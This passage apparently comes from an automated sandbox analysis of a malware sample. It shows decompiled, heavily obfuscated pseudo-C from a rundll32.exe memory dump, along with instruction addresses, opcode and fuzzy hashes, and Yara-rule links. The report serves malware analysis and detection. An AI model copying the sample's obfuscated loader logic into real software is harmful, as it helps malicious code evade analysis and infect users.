				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - 1;
				_a8 = _a8 - 1;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) & (_t95 - 0x00000001 ^ 0x00000000 ^ _t92 ^ 0x00000005 ^ _t76);
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t92 + 1 - 0x7fa;
				return _t76 & 0x000005b0;
			}

0x007d27d4
0x007d27d4
0x007d27e6
0x007d27f3
0x007d27e8
0x007d27e8
0x007d27e8
0x007d27f8
0x007d280a
0x007d2814
0x007d2818
0x007d2824
0x007d2839
0x007d2826
0x007d2826
0x007d2829
0x007d2829
0x007d283f
0x007d2843
0x007d2844
0x007d2849
0x007d284c
0x007d2856
0x007d2863
0x007d2868
0x007d286f
0x007d2858
0x007d2858
0x007d285b
0x007d285e
0x007d285e
0x007d287d
0x007d28a0
0x007d28a3
0x007d28a6
0x007d28ad
0x007d28bf
0x007d28e3
0x007d28ed
0x007d28fd
0x007d290a
0x007d2911
0x007d2917
0x007d291d
0x007d2929

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
Instruction ID: 1024a4e44d4cdaf0ae5bf35f179e177003f7317df4635ffe982be5f1635403aa
Opcode Fuzzy Hash: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
Instruction Fuzzy Hash: 5F319F73920608AFEB04CF34CD8A3DA3B74EF50335F29C366AC298E1D5D37996919A54

Uniqueness

Uniqueness Score: -1.00%

Function 007D13C5, Relevance: .1, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D13C5(signed int __eax, void* __ebx, intOrPtr _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t69;
				void* _t71;
				signed int _t89;
				void* _t93;
				signed int _t94;
				intOrPtr _t98;
				signed int _t103;
				signed int _t108;
				signed int _t109;
				signed int _t111;

				_t93 = __ebx;
				_t69 = __eax;
				if(__eax == 0xa709) {
					_t94 = _t94 | 0xffffffff;
				} else {
					 *(__ebx + 0x41ca6d) =  *(__ebx + 0x41ca6d) & _t108;
				}
				_t109 = _t108 +  *((intOrPtr*)(_t93 + 0x41c507));
				_a8 = _a8 - _t109;
				_v12 = _v12 & _t109;
				_v12 = _v12 - 1;
				_t71 = E007D9159(_t69 & 0x00000001, _t93,  *((intOrPtr*)(_t93 + 0x41d0c3)));
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0x417;
				 *((intOrPtr*)(_t93 + 0x41c507)) = _t98;
				_a8 = _a8 ^ _t103;
				 *((intOrPtr*)(_t93 + 0x41c507)) =  *((intOrPtr*)(_t93 + 0x41c507)) - 0x2a9;
				_t111 = _v8;
				_v8 = ((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0;
				_a12 = _a12 ^ 0xffffffff;
				_a4 = _a4 + 0xffffffff;
				_v12 = _v12 | _t111;
				 *((intOrPtr*)(_t93 + 0x41ca6d)) =  *((intOrPtr*)(_t93 + 0x41ca6d)) + _t111;
				_v12 = _v12 | _t111;
				_t89 = E007D292C((((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0) - 1, _t93,  *((intOrPtr*)(_t93 + 0x41cf4b)),  *((intOrPtr*)(_t93 + 0x41ce86)), _t103 - 1 + 1);
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0xffffffff;
				_v8 = _v8 - 0xffffffff;
				_v8 = _v8 - 1;
				_a8 = _a8 - 1;
				return (_t89 ^ 0xfffffffffffffe25) - 1;
			}

0x007d13c5
0x007d13c5
0x007d13d5
0x007d13df
0x007d13d7
0x007d13d7
0x007d13d7
0x007d13e5
0x007d13f0
0x007d13f3
0x007d13f9
0x007d1404
0x007d140f
0x007d141b
0x007d142a
0x007d1452
0x007d147b
0x007d147e
0x007d148d
0x007d1491
0x007d1495
0x007d14af
0x007d14b9
0x007d14ce
0x007d14d3
0x007d14ec
0x007d14f8
0x007d14fd
0x007d1509

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
Instruction ID: 2c8ecf97af56d7377b9cd49eca104d7ae864115a7146b1ae1ae56f40806dd98f
Opcode Fuzzy Hash: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
Instruction Fuzzy Hash: F531CD72C00629ABEB04CE39CC8978A7B31EF40770F14C36AAC24995D9C7789661DAA4

Uniqueness

Uniqueness Score: -1.00%

Function 007D2566, Relevance: .1, Instructions: 84
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D2566(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t55;
				signed int _t60;
				signed int _t73;
				void* _t80;
				signed int _t81;
				void* _t93;

				_t80 = __ebx;
				_t55 = __eax;
				if(__ebx >= _t93) {
					_a4 = _a4 - 1;
				}
				_a4 = _a4 & 0x00000001;
				_v12 = _v12 - 1;
				_a4 = _a4 - 1;
				_t60 = ((_t55 ^ 0xffffffff) & 0) + 1;
				_v8 = _v8 + 0x40b;
				_v8 = _v8 ^ _t60;
				 *(_t80 + 0x41c9d8) =  *(_t80 + 0x41c9d8) ^ 0xffffffff;
				_v12 = _v12 & 0x00000000;
				 *(_t80 + 0x41c003) = 1;
				_a4 = _a4 ^ ((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574;
				_t73 = E007D7338((((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574 & 0x00000001) - 0xfffffffffffffeed, _t80,  *((intOrPtr*)(_t80 + 0x41cdce)));
				_a4 = _a4 | _t73;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) ^ (_t81 | _a4) & _v12 ^ 0x00000000;
				_v8 = _v8 | 0xffffffe9;
				_v8 = 0xffffffff;
				 *(_t80 + 0x41c9d8) = _t73;
				 *(_t80 + 0x41c9d8) = 0xfffff81c;
				 *(_t80 + 0x41c9d8) = 0;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) & 0x00000440;
				_v12 = 0;
				_v12 = 0x3d2;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) - _t81 + 0xffffffff;
				_v12 = _v12 + 1;
				return 2;
			}

0x007d2566
0x007d2566
0x007d2573
0x007d2575
0x007d2578
0x007d2583
0x007d2587
0x007d258d
0x007d25a2
0x007d25b5
0x007d25bc
0x007d25bf
0x007d25c6
0x007d25e2
0x007d2600
0x007d2623
0x007d2628
0x007d262b
0x007d2637
0x007d263b
0x007d2642
0x007d2648
0x007d265e
0x007d2669
0x007d2675
0x007d2678
0x007d2680
0x007d2692
0x007d26a8

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
Instruction ID: d9f0bbc0f9d0e32e0941703abb529e6fd733cdc7d288fa895e6689516a05a82e
Opcode Fuzzy Hash: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
Instruction Fuzzy Hash: 8A3183B3C106059BEB008E78CD863CA7B70EF51374F298366AC39DE1D5D37986919A94

Uniqueness

Uniqueness Score: -1.00%

Function 007D92B2, Relevance: .1, Instructions: 78
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D92B2(signed int __eax, void* __ebx, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t68;
				void* _t85;
				void* _t86;
				signed int _t91;
				void* _t92;
				signed int _t97;
				signed int _t98;
				void* _t101;

				_t85 = __ebx;
				_t101 = __eax - 0x2bdf;
				_t68 = E007D1967(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41d155)));
				if(_t101 < 0) {
					_a8 = _a8 - 1;
				} else {
					_t91 = _t91 & 0x00000000;
					 *(__ebx + 0x41cd75) =  *(__ebx + 0x41cd75) ^ 0xfffffe87;
				}
				_t98 = _t97 ^ 0x000000ac;
				 *(_t85 + 0x41cd75) = _t98;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ 0x00000001;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) ^ _t68;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t68 + 0xfffffe42;
				_a4 = _a4 & 0x000007d7;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t98 - 1;
				_v8 = _t86 + 1;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ _t92 - 0xffffffff;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0x00000000;
				 *(_t85 + 0x41cd75) = 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				_v8 = _v8 + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0xffffffff;
				_a8 = _a8 - _t91;
				_v8 = _v8 - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 0xffffffff;
				return (0xfffffffffffffdd8 ^ _t91) - 1;
			}

0x007d92b2
0x007d92bd
0x007d92c8
0x007d92cd
0x007d92e1
0x007d92cf
0x007d92cf
0x007d92d5
0x007d92d5
0x007d92e4
0x007d92ea
0x007d92f3
0x007d92f6
0x007d92fb
0x007d9306
0x007d9323
0x007d9344
0x007d934a
0x007d934d
0x007d9350
0x007d9353
0x007d935a
0x007d9375
0x007d9385
0x007d938e
0x007d9395
0x007d939d
0x007d93ad
0x007d93bd
0x007d93c0
0x007d93df

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
Instruction ID: 7ca3707fa56de344482f87c192d904aad350e3d96586d75e3b1a4270069fdd32
Opcode Fuzzy Hash: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
Instruction Fuzzy Hash: 8A319032890704EBFB048F38D9867DA7BB0EF41329F54827AEC159D1DAE37946109A55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5348 Parent PID: 3512 rundll32.exeCOMMON

Executed Functions

Function 006F5F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E006F5F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __edi;
				signed int _t610;
				void* _t612;
				signed int _t613;
				intOrPtr _t619;
				void* _t626;
				void* _t628;
				void* _t630;
				signed int _t631;
				signed int _t633;
				signed int _t636;
				signed int _t638;
				void* _t640;
				intOrPtr _t641;
				signed int _t644;
				void* _t646;
				signed int _t647;
				signed int _t650;
				signed int _t652;
				signed int _t653;
				intOrPtr _t656;
				signed int _t658;
				signed int _t661;
				signed int _t665;
				void* _t667;
				signed int _t668;
				signed int _t671;
				signed int _t675;
				signed int _t677;
				void* _t679;
				signed int _t680;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				void* _t691;
				signed int _t692;
				signed int _t698;
				signed int _t701;
				signed int _t706;
				void* _t708;
				intOrPtr _t709;
				signed int _t711;
				void* _t713;
				signed int _t714;
				signed int _t717;
				intOrPtr _t720;
				signed int _t722;
				void* _t724;
				signed int _t726;
				intOrPtr _t729;
				void* _t730;
				signed int _t733;
				void* _t739;
				void* _t741;
				void* _t742;
				signed int _t744;
				void* _t746;
				signed int _t747;
				signed int _t753;
				signed int _t756;
				signed int _t760;
				void* _t762;
				signed int _t767;
				signed int _t771;
				void* _t773;
				void* _t775;
				void* _t776;
				intOrPtr _t778;
				signed int _t781;
				signed int _t785;
				intOrPtr _t788;
				signed int _t791;
				intOrPtr _t794;
				signed int _t797;
				signed int _t813;
				signed int _t816;
				void* _t819;
				signed int _t821;
				signed int _t824;
				void* _t827;
				void* _t828;
				void* _t830;
				signed int _t836;
				signed int _t840;
				signed int _t842;
				signed int _t844;
				signed int _t851;
				signed int _t856;
				signed int _t859;
				signed int _t862;
				signed int _t865;
				signed int _t867;
				signed int _t869;
				signed int _t875;
				signed int _t882;
				void* _t888;
				signed int _t889;
				signed int _t893;
				signed int _t896;
				signed int _t901;
				signed int _t906;
				signed int _t908;
				signed int _t916;
				signed int _t920;
				signed int _t924;
				signed int _t926;
				signed int _t928;
				signed int _t931;
				signed int _t934;
				signed int _t936;
				signed int _t939;
				signed int _t945;
				signed int _t947;
				signed int _t950;
				signed int _t953;
				signed int _t955;
				signed int _t958;
				void* _t966;
				signed int _t969;
				signed int _t975;
				signed int _t977;
				signed int _t979;
				signed int _t981;
				signed int _t986;
				signed int _t987;
				signed int _t1002;
				signed int _t1005;
				signed int _t1009;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1020;
				signed int _t1023;
				signed int _t1026;
				signed int _t1028;
				signed int _t1031;
				signed int _t1034;
				signed int _t1035;
				void* _t1036;
				long _t1041;
				void* _t1043;
				signed int _t1045;
				signed int _t1052;
				signed int _t1054;
				signed int _t1057;
				signed int _t1060;
				signed int _t1063;
				signed int _t1065;
				signed int _t1068;
				void* _t1069;
				signed int _t1071;
				signed int _t1074;
				void* _t1077;
				signed int _t1078;
				signed int _t1081;
				signed int _t1085;
				void* _t1089;
				signed int _t1091;
				void* _t1097;
				void* _t1102;
				signed int _t1103;
				signed int _t1106;
				void* _t1109;
				signed int _t1112;
				signed int _t1119;
				signed int* _t1120;
				signed int* _t1121;
				signed int* _t1122;
				signed int* _t1123;
				signed int* _t1124;
				signed int* _t1125;
				signed int* _t1126;
				signed int* _t1127;
				signed int* _t1128;
				signed int* _t1129;
				signed int* _t1130;
				signed int* _t1131;
				signed int* _t1132;
				signed int* _t1133;
				signed int* _t1134;
				signed int* _t1136;
				signed int* _t1139;
				signed int* _t1140;
				signed int* _t1141;
				signed int* _t1142;
				signed int* _t1143;
				signed int* _t1144;

				_t1063 = __esi;
				_t813 = __ebx;
				_push(__eax);
				 *_t1119 =  *_t1119 & 0x00000000;
				 *_t1119 =  *_t1119 + _t1102;
				_t1103 = _t1119;
				_t1120 = _t1119 + 0xfffffff0;
				_push(_t1103);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 + __ecx;
				_push(__ecx);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 ^ __edx;
				_push(_t1103);
				 *_t1120 =  *_t1120 ^ _t1103;
				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
				_push( *((intOrPtr*)(__ebx + 0x41f068))());
				_pop( *_t7);
				_push(_v16);
				_pop( *_t9);
				_pop( *_t10);
				_t920 = _v16;
				_t1121 = _t1120 - 0xfffffffc;
				_push(__esi);
				 *_t1121 =  *_t1121 ^ __esi;
				 *_t1121 =  *_t1120;
				_push(_v16);
				 *_t1121 = _t920;
				_push(_t1002);
				 *_t1121 =  *_t1121 - _t1002;
				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_v16);
				 *_t1121 = _t610;
				_push(__esi);
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t18);
				_push(_t920);
				 *_t20 = _t612;
				_v20 = _v20 + _v20;
				_push(_v20);
				_pop(_t613);
				_v20 = _t613;
				_t836 = 0 ^  *(__ebx + 0x41c55d);
				if(_t836 > _v20) {
					_push(_v12);
					 *_t1121 = __ebx + 0x41c01b;
					_push(_t1103);
					 *_t1121 =  *_t1121 ^ _t1103;
					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
					_push( *((intOrPtr*)(__ebx + 0x41f064))());
					_pop( *_t31);
					_push(_v20);
					_pop( *_t33);
				}
				_pop( *_t34);
				_t924 = _v20;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t924;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
				_v12 = _t836;
				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
				 *_t1121 = _t813 + 0x41c565;
				_v12 = 0;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
				_pop( *_t48);
				_push(_v20);
				_pop( *_t50);
				_pop( *_t51);
				 *_t1121 =  *_t1121 - _t1103;
				 *_t1121 =  *_t1121 ^ _v20;
				 *_t1121 =  *_t1121 ^ _t813;
				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
				_pop( *_t55);
				_push(_v16);
				_pop( *_t57);
				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t626;
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
				 *_t1121 =  *_t1121 ^ _t924;
				 *_t1121 =  *_t1121 + _t628;
				_v12 = _v12 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
				_pop( *_t72);
				_t840 = _v20;
				 *_t74 = _t630;
				_v20 = _v20 + _t840;
				_push(_v20);
				_pop(_t631);
				_t1065 = _t1063;
				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
				_t1106 = _t1103;
				if(_t842 > _t631) {
					 *_t1121 =  *_t1121 & 0x00000000;
					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
					 *_t1121 = _t813 + 0x41cfe9;
					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
					_push(_t924);
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
				}
				_t633 = _t631 & 0x00000000 ^  *_t1121;
				_t1122 =  &(_t1121[1]);
				 *_t1122 = _t1002;
				 *(_t813 + 0x41d240) = _t633;
				_t1005 = 0;
				_pop( *_t88);
				_t926 = 0 ^ _v20;
				_pop( *_t90);
				_t844 = _t842 & 0x00000000 ^ _v16;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t926;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 | _t844;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
				_v12 = _v12 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
				_t1123 =  &(_t1122[1]);
				_v16 = _v16 & 0x00000000;
				 *_t1123 =  *_t1123 ^  *_t1122;
				_v16 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
				 *_t1123 =  *_t1123 - _t1106;
				 *_t1123 =  *_t1123 | _t638;
				_v12 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
				_t851 =  *_t1123;
				_t1124 =  &(_t1123[1]);
				 *_t113 = _t640;
				_v16 = _v16 + _t851;
				_push(_v16);
				_pop(_t641);
				_t928 = _t926;
				_v16 = _t1005;
				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
					_v20 = _v20 & 0x00000000;
					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
					_v12 = 0;
					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
				}
				 *_t1124 = _t928;
				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
				_t931 = 0;
				_v12 = _t1065;
				_t1068 = _v12;
				_v12 = 0;
				 *_t1124 =  *_t1124 | 0 ^ _a4;
				_v16 = 0;
				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
				_v12 = 0;
				 *_t1124 =  *_t1124 ^ _t644;
				 *_t1124 = _t813 + 0x41cb65;
				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
				_t1125 =  &(_t1124[1]);
				_v12 = _t931;
				_push( *_t1124 + _t646);
				_t934 = _v12;
				_pop(_t647);
				_v12 = _t647;
				_t856 = 0 ^  *(_t813 + 0x41c187);
				_t650 = _v12;
				if(_t856 > _t650) {
					_v20 = 0;
					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
					 *_t1125 =  *_t1125 ^ _t856;
					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
					_v16 = _t1068;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
					_t1068 = _v16;
				}
				_t652 = _t650 & 0x00000000 ^  *_t1125;
				_t1126 = _t1125 - 0xfffffffc;
				 *_t162 = _t652;
				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
				_push(_v16);
				_pop(_t653);
				_t936 = _t934;
				 *_t1126 = _t653;
				 *_t1126 =  *_t1126 & 0x00000000;
				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
				 *_t1126 = _t813 + 0x41ce8a;
				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
				 *_t1126 = _t1106;
				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
				_t1109 = 0;
				_t658 =  *_t1126;
				_t1127 =  &(_t1126[1]);
				 *_t1127 = _t658;
				 *_t1127 =  *_t1127 - _t856;
				 *_t1127 =  *_t1127 ^ _t658;
				 *_t1127 =  *_t1127 - _t936;
				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
				_v12 = _v12 & 0x00000000;
				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
				 *_t1127 = _t936;
				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
				_t939 = 0;
				_t1128 = _t1127 - 0xfffffffc;
				_v20 = _t813;
				_t1009 =  *_t1127;
				_t816 = _v20;
				_v12 = 0;
				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
				 *_t1128 =  *_t1128 ^ _t1009;
				 *_t1128 = _t665;
				 *_t1128 =  *_t1128 - _t1009;
				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
				_t1129 =  &(_t1128[1]);
				 *_t1129 =  *_t1129 ^ _t1068;
				_t1069 = _t667;
				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
				_t1071 = 0;
				_v20 = _t1009;
				_t859 = 0 ^  *(_t816 + 0x41c250);
				_t1012 = _v20;
				if(_t859 > _t668) {
					 *_t1129 =  *_t1129 - _t1012;
					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
					_v12 = 0;
					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
				}
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
				_t862 = _t859;
				 *_t1129 =  *_t1129 - _t1071;
				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
				 *_t1129 = _t816 + 0x41ca88;
				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
				_v20 = _t862;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
				_t865 = _v20;
				_pop( *_t211);
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
				_t819 = _t816;
				 *_t1129 =  *_t1129 & 0x00000000;
				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
				_t1112 = _t1109;
				 *_t1129 =  *_t1129 - _t865;
				 *_t1129 =  *_t1129 ^ _t1012;
				 *_t1129 = _t819 + 0x41ca0d;
				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
				 *_t1129 = _t677;
				 *_t1129 = _t819 + 0x41cbe6;
				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
				_t867 =  *_t1129;
				_t1130 = _t1129 - 0xfffffffc;
				 *_t230 = _t679;
				_v16 = _v16 + _t867;
				_push(_v16);
				_pop(_t680);
				_t821 = _t819;
				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
				_t1074 = _t1071;
				if(_t869 > _t680) {
					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
					_v12 = 0;
					 *_t1130 =  *_t1130 | _t235;
					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
					 *_t1130 =  *_t1130 & 0x00000000;
					 *_t1130 =  *_t1130 + _t238;
					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
				}
				 *_t1130 = _t1012;
				 *(_t821 + 0x41c918) = 0 ^ _t680;
				_t1015 = 0;
				_v16 = _t869;
				_v16 = 0;
				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
				_t247 = _t821 + 0x41d093; // 0x41d093
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 | _t247;
				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t1130 = _t1015;
				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
				_t1018 = 0;
				 *_t250 = _t821;
				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
				_t1077 = _t1074;
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 ^ _v16;
				_t253 = _t821 + 0x41cfd9; // 0x41cfd9
				_v20 = 0;
				 *_t1130 =  *_t1130 | _t253;
				_t684 =  *((intOrPtr*)(_t821 + 0x41f060))(_v20, _t1077);
				_v20 = _t1020;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) & 0x00000000;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) | _t1020 ^ _v20 ^ _t684;
				_t1023 = _v20;
				_t1131 =  &(_t1130[1]);
				 *_t1131 = _t684;
				_t1078 = _a4;
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 |  *_t1130;
				_t268 = _t821 + 0x41ca9e; // 0x41ca9e
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 | _t268;
				_t689 =  *((intOrPtr*)(_t821 + 0x41f060))(_v12, _v12, 0);
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t689;
				_t273 = _t821 + 0x41c931; // 0x41c931
